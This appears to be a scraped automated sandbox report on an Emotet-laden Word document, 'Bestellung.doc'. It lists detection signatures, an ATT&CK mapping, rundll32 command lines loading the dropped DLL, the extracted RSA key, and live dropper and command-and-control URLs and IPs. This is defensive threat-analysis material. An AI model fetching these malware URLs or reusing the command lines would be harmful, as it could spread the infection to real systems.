rundll32.exe (PID: 3028 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ueilekrvmxoa\xgsmipbdchc.hxv',GRZxFiVeASCkxit MD5: 

51138BEEA3E2C21EC44D0932C71762A8)
rundll32.exe (PID: 2484 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ueilekrvmxoa\xgsmipbdchc.hxv',#1 MD5: 

51138BEEA3E2C21EC44D0932C71762A8)
cleanup

{

  "RSA Public Key": 

"MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAM/TXLLvX91I6dVMYe+T1PPO6mpcg7OJ\ncMl9o/g4nUhZOp8fAAmQl8XMXeGvDhZXTyX1AXf401iPFui0RB6glhl/7/djvi7j\nl32lAhyBANpKGty8xf3J5kGwwClnG/CXHQIDAQAB"

}

Source Rule Description Author Strings

0000000A.00000002.2340471490.0000000000400000.0000
0040.00020000.sdmp

JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

00000009.00000002.2103211054.00000000001D0000.0000
0040.00000001.sdmp

JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps
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Sigma Overview

System Summary:

Sigma detected: Suspicious Call by Ordinal

Sigma detected: Suspicious Encoded PowerShell Command Line

Signature Overview

• AV Detection

• Cryptography

• Compliance

• Spreading

• Software Vulnerabilities

• Networking

• E-Banking Fraud

• System Summary

• Data Obfuscation

• Persistence and Installation Behavior

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Stealing of Sensitive Information

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Compliance:

Uses insecure TLS / SSL version for HTTPS connection

00000008.00000002.2099681176.00000000001D0000.0000
0040.00000001.sdmp

JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

00000009.00000002.2103277620.0000000000230000.0000
0040.00020000.sdmp

JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

00000007.00000002.2099018804.0000000000890000.0000
0040.00000001.sdmp

JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

Click to see the 7 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

10.2.rundll32.exe.400000.1.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

7.2.rundll32.exe.230000.0.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

9.2.rundll32.exe.1d0000.0.raw.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

8.2.rundll32.exe.250000.0.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

9.2.rundll32.exe.230000.1.raw.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

Click to see the 11 entries

Unpacked PEs
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Uses new MSVCR Dlls

Binary contains paths to debug symbols

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Potential dropper URLs found in powershell memory

Uses known network protocols on non-standard ports

E-Banking Fraud:

Yara detected Emotet

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Very long command line found

Data Obfuscation:

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

Obfuscated command line found

Suspicious powershell command line found

Persistence and Installation Behavior:

Creates processes via WMI

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses known network protocols on non-standard ports

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Encrypted powershell cmdline option found

Stealing of Sensitive Information:

Yara detected Emotet

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Windows
Management
Instrumentation 1 1

Path
Interception

Process
Injection 1 1 1

Disable or Modify
Tools 1 1

OS
Credential
Dumping

File and Directory
Discovery 2

Remote
Services

Archive
Collected
Data 1

Exfiltration
Over Other
Network
Medium

Ingress Tool
Transfer 4

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scripting 1 2 Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Deobfuscate/Decode
Files or Information 3

LSASS
Memory

System Information
Discovery 1 5

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

Encrypted
Channel 2 2

Exploit SS7 to
Redirect Phone
Calls/SMS
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Domain
Accounts

Exploitation for Client
Execution 3

Logon Script
(Windows)

Logon Script
(Windows)

Scripting 1 2 Security
Account
Manager

Query Registry 1 SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-Standard
Port 1 1

Exploit SS7 to
Track Device
Location

Local
Accounts

Command and
Scripting
Interpreter 2 1 1

Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 1 1

NTDS Security Software
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Non-
Application
Layer
Protocol 4

SIM Card
Swap

Cloud
Accounts

PowerShell 2 Network
Logon Script

Network Logon
Script

Masquerading 1 1 LSA
Secrets

Virtualization/Sandbox
Evasion 2

SSH Keylogging Data
Transfer
Size Limits

Application
Layer
Protocol 1 5

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Virtualization/Sandbox
Evasion 2

Cached
Domain
Credentials

Process Discovery 2 VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Process
Injection 1 1 1

DCSync Remote System
Discovery 1

Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command and
Scripting Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Hidden Files and
Directories 1

Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer Protocol

Downgrade to
Insecure
Protocols

Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) Rundll32 1 /etc/passwd
and
/etc/shadow

System Network
Connections
Discovery

Software
Deployment
Tools

Data
Staged

Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Web Protocols Rogue Cellular
Base Station

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Behavior Graph

ID: 344273

Sample: Bestellung.doc

Startdate: 26/01/2021

Architecture: WINDOWS

Score: 100

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Multi AV Scanner detection
for domain / URL

Antivirus detection
for URL or domain 13 other signatures

cmd.exe

        started       

WINWORD.EXE

293 24

        started       

Suspicious powershell
command line found

Very long command line
found

Encrypted powershell
cmdline option found

powershell.exe

16 11

        started       

msg.exe

        started       

traumfrauen-ukraine.de

212.227.200.73, 443, 49170, 49171

ONEANDONE-ASBrauerstrasse48DE

Germany

e-wdesign.eu

45.138.97.75, 49169, 80

M247GB

Germany

3 other IPs or domains

C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll, data

dropped

rundll32.exe

        started       

rundll32.exe

        started       

rundll32.exe

2

        started       

Hides that the sample
has been downloaded

from the Internet (zone.identifier)

rundll32.exe

        started       

rundll32.exe

9

        started       

110.172.180.180, 49179, 8080

WORLDPHONE-INASNumberforInterdomainRoutingIN

India

132.248.38.158, 49177, 49178, 80

UniversidadNacionalAutonomadeMexicoMX

Mexico

5 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Behavior Graph
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Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source Detection Scanner Label Link

Bestellung.doc 53% Virustotal Browse

Bestellung.doc 11% ReversingLabs Document-
Word.Trojan.Emotet

Screenshots

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
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No Antivirus matches

Source Detection Scanner Label Link Download

8.2.rundll32.exe.400000.1.unpack 100% Avira HEUR/AGEN.1110387 Download File

9.2.rundll32.exe.230000.1.unpack 100% Avira HEUR/AGEN.1110387 Download File

7.2.rundll32.exe.230000.0.unpack 100% Avira HEUR/AGEN.1110387 Download File

10.2.rundll32.exe.400000.1.unpack 100% Avira HEUR/AGEN.1110387 Download File

Source Detection Scanner Label Link

shop.nowfal.dev 7% Virustotal Browse

traumfrauen-ukraine.de 5% Virustotal Browse

e-wdesign.eu 6% Virustotal Browse

nightlifemumbai.club 5% Virustotal Browse

Source Detection Scanner Label Link

fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 0% URL Reputation safe

fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 0% URL Reputation safe

fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 0% URL Reputation safe

www.a-cert.at0E 0% URL Reputation safe

www.a-cert.at0E 0% URL Reputation safe

www.a-cert.at0E 0% URL Reputation safe

www.certplus.com/CRL/class3.crl0 0% URL Reputation safe

www.certplus.com/CRL/class3.crl0 0% URL Reputation safe

www.certplus.com/CRL/class3.crl0 0% URL Reputation safe

crl.chambersign.org/chambersroot.crl0 0% URL Reputation safe

crl.chambersign.org/chambersroot.crl0 0% URL Reputation safe

crl.chambersign.org/chambersroot.crl0 0% URL Reputation safe

nightlifemumbai.club/x/0wBD3/ 100% Avira URL Cloud malware

www.digsigtrust.com/DST_TRUST_CPS_v990701.html0 0% URL Reputation safe

www.digsigtrust.com/DST_TRUST_CPS_v990701.html0 0% URL Reputation safe

www.digsigtrust.com/DST_TRUST_CPS_v990701.html0 0% URL Reputation safe

acraiz.icpbrasil.gov.br/LCRacraiz.crl0 0% URL Reputation safe

acraiz.icpbrasil.gov.br/LCRacraiz.crl0 0% URL Reputation safe

acraiz.icpbrasil.gov.br/LCRacraiz.crl0 0% URL Reputation safe

www.certifikat.dk/repository0 0% URL Reputation safe

www.certifikat.dk/repository0 0% URL Reputation safe

www.certifikat.dk/repository0 0% URL Reputation safe

nightlifemumbai.club 0% Avira URL Cloud safe

www.chambersign.org1 0% URL Reputation safe

www.chambersign.org1 0% URL Reputation safe

www.chambersign.org1 0% URL Reputation safe

crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe

crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe

crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe

www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe

www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe

www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe

www.pkioverheid.nl/policies/root-policy0 0% URL Reputation safe

www.pkioverheid.nl/policies/root-policy0 0% URL Reputation safe

www.pkioverheid.nl/policies/root-policy0 0% URL Reputation safe

https://linhkienmaytinh.tctedu.com/wp-snapshots/VzJM/P 0% Avira URL Cloud safe

https://traumfrauen-ukraine.de 0% Avira URL Cloud safe

https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0 0% URL Reputation safe

https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0 0% URL Reputation safe

https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0 0% URL Reputation safe

www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl 0% URL Reputation safe

www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl 0% URL Reputation safe

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.virustotal.com/gui/url/242a0fed51d5b0305f7d90564027a6b177bd3a73b80425aebe4bcafbbf0b9008/detection/u-242a0fed51d5b0305f7d90564027a6b177bd3a73b80425aebe4bcafbbf0b9008-1611635329
https://www.virustotal.com/gui/url/80dbd487b7c20ada32dd63ce1da2240ce90ab6fa42296034004daf73fd68c6d9/detection/u-80dbd487b7c20ada32dd63ce1da2240ce90ab6fa42296034004daf73fd68c6d9-1611635330
https://www.virustotal.com/gui/url/2b0b2f96caefb8da544b3bb224090d667b752988c10672c0df5c7ebd8a881233/detection/u-2b0b2f96caefb8da544b3bb224090d667b752988c10672c0df5c7ebd8a881233-1611635330
https://www.virustotal.com/gui/url/fe0c0499a51c9f7bab790d5da8623f7c8f090ba5bcf4c324f4ec32bb6758f049/detection/u-fe0c0499a51c9f7bab790d5da8623f7c8f090ba5bcf4c324f4ec32bb6758f049-1611635329


www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl 0% URL Reputation safe

ca.disig.sk/ca/crl/ca_disig.crl0 0% URL Reputation safe

ca.disig.sk/ca/crl/ca_disig.crl0 0% URL Reputation safe

ca.disig.sk/ca/crl/ca_disig.crl0 0% URL Reputation safe

crl.netsolssl.com/NetworkSolutionsCertificateAuthori 0% Avira URL Cloud safe

www.certplus.com/CRL/class3P.crl0 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl0 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl0 0% URL Reputation safe

traumfrauen-ukraine.de/bin/JyeS/ 0% Avira URL Cloud safe

repository.infonotary.com/cps/qcps.html0$ 0% URL Reputation safe

repository.infonotary.com/cps/qcps.html0$ 0% URL Reputation safe

repository.infonotary.com/cps/qcps.html0$ 0% URL Reputation safe

www.post.trust.ie/reposit/cps.html0 0% URL Reputation safe

www.post.trust.ie/reposit/cps.html0 0% URL Reputation safe

www.post.trust.ie/reposit/cps.html0 0% URL Reputation safe

traumfrauen-ukraine.de 0% Avira URL Cloud safe

www.disig.sk/ca/crl/ca_disig.crl0 0% URL Reputation safe

www.disig.sk/ca/crl/ca_disig.crl0 0% URL Reputation safe

www.disig.sk/ca/crl/ca_disig.crl0 0% URL Reputation safe

ocsp.infonotary.com/responder.cgi0V 0% URL Reputation safe

ocsp.infonotary.com/responder.cgi0V 0% URL Reputation safe

ocsp.infonotary.com/responder.cgi0V 0% URL Reputation safe

www.sk.ee/cps/0 0% URL Reputation safe

www.sk.ee/cps/0 0% URL Reputation safe

www.sk.ee/cps/0 0% URL Reputation safe

www.certicamara.com0 0% Avira URL Cloud safe

www.globaltrust.info0= 0% Avira URL Cloud safe

https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E 0% URL Reputation safe

https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E 0% URL Reputation safe

https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E 0% URL Reputation safe

servername/isapibackend.dll 0% Avira URL Cloud safe

www.ssc.lt/cps03 0% URL Reputation safe

www.ssc.lt/cps03 0% URL Reputation safe

www.ssc.lt/cps03 0% URL Reputation safe

https://shop.nowfal.dev/wp-includes/RlMObf2j0/ 100% Avira URL Cloud malware

ocsp.sectigo.com0/ 0% Avira URL Cloud safe

acraiz.icpbrasil.gov.br/DPCacraiz.pdf0= 0% URL Reputation safe

acraiz.icpbrasil.gov.br/DPCacraiz.pdf0= 0% URL Reputation safe

acraiz.icpbrasil.gov.br/DPCacraiz.pdf0= 0% URL Reputation safe

crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe

crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe

crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe

ocsp.pki.gva.es0 0% URL Reputation safe

ocsp.pki.gva.es0 0% URL Reputation safe

ocsp.pki.gva.es0 0% URL Reputation safe

crl.oces.certifikat.dk/oces.crl0 0% URL Reputation safe

crl.oces.certifikat.dk/oces.crl0 0% URL Reputation safe

crl.oces.certifikat.dk/oces.crl0 0% URL Reputation safe

crl.ssc.lt/root-b/cacrl.crl0 0% URL Reputation safe

crl.ssc.lt/root-b/cacrl.crl0 0% URL Reputation safe

crl.ssc.lt/root-b/cacrl.crl0 0% URL Reputation safe

203.157.152.9:7080/fp6mnzkaqr6g444l/72u9p3zs7/g2jlp29e1gun28tdsj/98qlj89cyfd5f3jv/gfxmq8g7uq109
a/

0% Avira URL Cloud safe

www.dnie.es/dpc0 0% URL Reputation safe

www.dnie.es/dpc0 0% URL Reputation safe

www.dnie.es/dpc0 0% URL Reputation safe

www.rootca.or.kr/rca/cps.html0 0% URL Reputation safe

www.rootca.or.kr/rca/cps.html0 0% URL Reputation safe

www.rootca.or.kr/rca/cps.html0 0% URL Reputation safe

Source Detection Scanner Label Link

Domains and IPs
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Name IP Active Malicious Antivirus Detection Reputation

shop.nowfal.dev 104.21.88.166 true true 7%, Virustotal, Browse unknown

traumfrauen-ukraine.de 212.227.200.73 true true 5%, Virustotal, Browse unknown

e-wdesign.eu 45.138.97.75 true true 6%, Virustotal, Browse unknown

nightlifemumbai.club 172.217.6.174 true true 5%, Virustotal, Browse unknown

jflmktg.wpcomstaging.com 192.0.78.20 true true unknown

Name Malicious Antivirus Detection Reputation

nightlifemumbai.club/x/0wBD3/ true Avira URL Cloud: malware unknown

traumfrauen-ukraine.de/bin/JyeS/ true Avira URL Cloud: safe unknown

203.157.152.9:7080/fp6mnzkaqr6g444l/72u9p3zs7/g2jlp29e1gun28tdsj/98qlj89cyfd5f3jv/gfxm
q8g7uq109a/

true Avira URL Cloud: safe unknown

e-wdesign.eu/wp-content/bn1IgDejh/ true Avira URL Cloud: safe unknown

https://157.245.145.87:443/gjk3j942rq/3t3141347sxz/js59r1n8zph/ true Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 powershell.exe, 00000005.00000
002.2103224125.000000001B3D400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.a-cert.at0E powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certplus.com/CRL/class3.crl0 powershell.exe, 00000005.00000
003.2095042856.000000001CC5A00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.chambersign.org/chambersroot.crl0 powershell.exe, 00000005.00000
003.2095103092.000000001CC6800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.digsigtrust.com/DST_TRUST_CPS_v990701.html0 powershell.exe, 00000005.00000
003.2095042856.000000001CC5A00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

acraiz.icpbrasil.gov.br/LCRacraiz.crl0 powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certifikat.dk/repository0 powershell.exe, 00000005.00000
003.2095090679.000000001CC7000
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

nightlifemumbai.club powershell.exe, 00000005.00000
002.2100518545.00000000039D400
0.00000004.00000001.sdmp

true Avira URL Cloud: safe unknown

www.chambersign.org1 powershell.exe, 00000005.00000
003.2095103092.000000001CC6800
0.00000004.00000001.sdmp, powe
rshell.exe, 00000005.00000003.
2095061790.000000001CCA4000.00
000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 powershell.exe, 00000005.00000
003.2095288882.000000001B48800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.diginotar.nl/cps/pkioverheid0 powershell.exe, 00000005.00000
003.2095288882.000000001B48800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.pkioverheid.nl/policies/root-policy0 powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

repository.swisssign.com/0 powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false high

https://linhkienmaytinh.tctedu.com/wp-
snapshots/VzJM/P

powershell.exe, 00000005.00000
002.2096708382.0000000002C5400
0.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://traumfrauen-ukraine.de powershell.exe, 00000005.00000
002.2100614327.0000000003B0D00
0.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0 powershell.exe, 00000005.00000
002.2103658864.000000001CC9800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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https://www.virustotal.com/gui/url/242a0fed51d5b0305f7d90564027a6b177bd3a73b80425aebe4bcafbbf0b9008/detection/u-242a0fed51d5b0305f7d90564027a6b177bd3a73b80425aebe4bcafbbf0b9008-1611635329
https://www.virustotal.com/gui/url/80dbd487b7c20ada32dd63ce1da2240ce90ab6fa42296034004daf73fd68c6d9/detection/u-80dbd487b7c20ada32dd63ce1da2240ce90ab6fa42296034004daf73fd68c6d9-1611635330
https://www.virustotal.com/gui/url/2b0b2f96caefb8da544b3bb224090d667b752988c10672c0df5c7ebd8a881233/detection/u-2b0b2f96caefb8da544b3bb224090d667b752988c10672c0df5c7ebd8a881233-1611635330
https://www.virustotal.com/gui/url/fe0c0499a51c9f7bab790d5da8623f7c8f090ba5bcf4c324f4ec32bb6758f049/detection/u-fe0c0499a51c9f7bab790d5da8623f7c8f090ba5bcf4c324f4ec32bb6758f049-1611635329


www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

ca.disig.sk/ca/crl/ca_disig.crl0 powershell.exe, 00000005.00000
002.2095505629.00000000001CB00
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.netsolssl.com/NetworkSolutionsCertificateAuthori powershell.exe, 00000005.00000
002.2103658864.000000001CC9800
0.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.certplus.com/CRL/class3P.crl0 powershell.exe, 00000005.00000
003.2094894681.000000001CCAE00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

repository.infonotary.com/cps/qcps.html0$ powershell.exe, 00000005.00000
002.2103631224.000000001CC8300
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.post.trust.ie/reposit/cps.html0 powershell.exe, 00000005.00000
003.2095108394.000000001CC6100
0.00000004.00000001.sdmp, powe
rshell.exe, 00000005.00000003.
2095094346.000000001CC8D000.00
000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

traumfrauen-ukraine.de powershell.exe, 00000005.00000
002.2100614327.0000000003B0D00
0.00000004.00000001.sdmp

true Avira URL Cloud: safe unknown

www.disig.sk/ca/crl/ca_disig.crl0 powershell.exe, 00000005.00000
002.2095505629.00000000001CB00
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

ocsp.infonotary.com/responder.cgi0V powershell.exe, 00000005.00000
002.2103631224.000000001CC8300
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.sk.ee/cps/0 powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certicamara.com0 powershell.exe, 00000005.00000
002.2095505629.00000000001CB00
0.00000004.00000020.sdmp

false Avira URL Cloud: safe unknown

www.globaltrust.info0= powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false Avira URL Cloud: safe low

https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E powershell.exe, 00000005.00000
002.2103658864.000000001CC9800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

servername/isapibackend.dll powershell.exe, 00000005.00000
002.2104214034.000000001D22000
0.00000002.00000001.sdmp

false Avira URL Cloud: safe low

www.ssc.lt/cps03 powershell.exe, 00000005.00000
003.2095094346.000000001CC8D00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://shop.nowfal.dev/wp-includes/RlMObf2j0/ powershell.exe, 00000005.00000
002.2100518545.00000000039D400
0.00000004.00000001.sdmp

true Avira URL Cloud: malware unknown

ocsp.sectigo.com0/ powershell.exe, 00000005.00000
003.2095272033.000000001B46900
0.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.windows.com/pctv. rundll32.exe, 00000008.0000000
2.2100145610.0000000002010000.
00000002.00000001.sdmp

false high

acraiz.icpbrasil.gov.br/DPCacraiz.pdf0= powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crt.sectigo.com/SectigoRSADomainValidationSecureServerCA
.crt0#

powershell.exe, 00000005.00000
003.2095272033.000000001B46900
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

ocsp.pki.gva.es0 powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.oces.certifikat.dk/oces.crl0 powershell.exe, 00000005.00000
003.2095090679.000000001CC7000
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.ssc.lt/root-b/cacrl.crl0 powershell.exe, 00000005.00000
003.2095094346.000000001CC8D00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certicamara.com/dpc/0Z powershell.exe, 00000005.00000
003.2095118567.000000001CC8A00
0.00000004.00000001.sdmp

false high

www.dnie.es/dpc0 powershell.exe, 00000005.00000
003.2095042856.000000001CC5A00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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www.rootca.or.kr/rca/cps.html0 powershell.exe, 00000005.00000
003.2095090679.000000001CC7000
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.trustcenter.de/guidelines0 powershell.exe, 00000005.00000
003.2095132892.000000001CCE300
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

pki-root.ecertpki.cl/CertEnroll/E-
CERT%20ROOT%20CA.crl0

powershell.exe, 00000005.00000
003.2095118567.000000001CC8A00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

windowsmedia.com/redir/services.asp?
WMPFriendly=true

powershell.exe, 00000005.00000
002.2104020286.000000001D02700
0.00000002.00000001.sdmp, rund
ll32.exe, 00000006.00000002.21
00503288.0000000001DB7000.0000
0002.00000001.sdmp, rundll32.exe, 
00000007.00000002.20993726
18.00000000021F7000.00000002.0
0000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.globaltrust.info0 powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

certificates.starfieldtech.com/repository/1604 powershell.exe, 00000005.00000
003.2094871839.000000001CC8200
0.00000004.00000001.sdmp

false high

www.certplus.com/CRL/class3TS.crl0 powershell.exe, 00000005.00000
003.2095042856.000000001CC5A00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.entrust.net/CRL/Client1.crl0 powershell.exe, 00000005.00000
003.2095108394.000000001CC6100
0.00000004.00000001.sdmp

false high

https://www.cloudflare.com/5xx-error-landing powershell.exe, 00000005.00000
002.2100590447.0000000003AB600
0.00000004.00000001.sdmp, powe
rshell.exe, 00000005.00000002.
2100614327.0000000003B0D000.00
000004.00000001.sdmp

false high

schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
.

powershell.exe, 00000005.00000
002.2096093132.000000000245000
0.00000002.00000001.sdmp, rund
ll32.exe, 00000008.00000002.21
00938430.0000000002970000.0000
0002.00000001.sdmp

false high

https://www.catcert.net/verarrel powershell.exe, 00000005.00000
002.2095470892.000000000016400
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.disig.sk/ca0f powershell.exe, 00000005.00000
002.2095505629.00000000001CB00
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
powershell.exe, 00000005.00000
002.2095470892.000000000016400
0.00000004.00000020.sdmp

false high

https://linhkienmaytinh.tctedu.com/wp-snapshots/VzJM/ powershell.exe, 00000005.00000
002.2100518545.00000000039D400
0.00000004.00000001.sdmp

true Avira URL Cloud: safe unknown

www.signatur.rtr.at/current.crl0 powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false high

www.sk.ee/juur/crl/0 powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

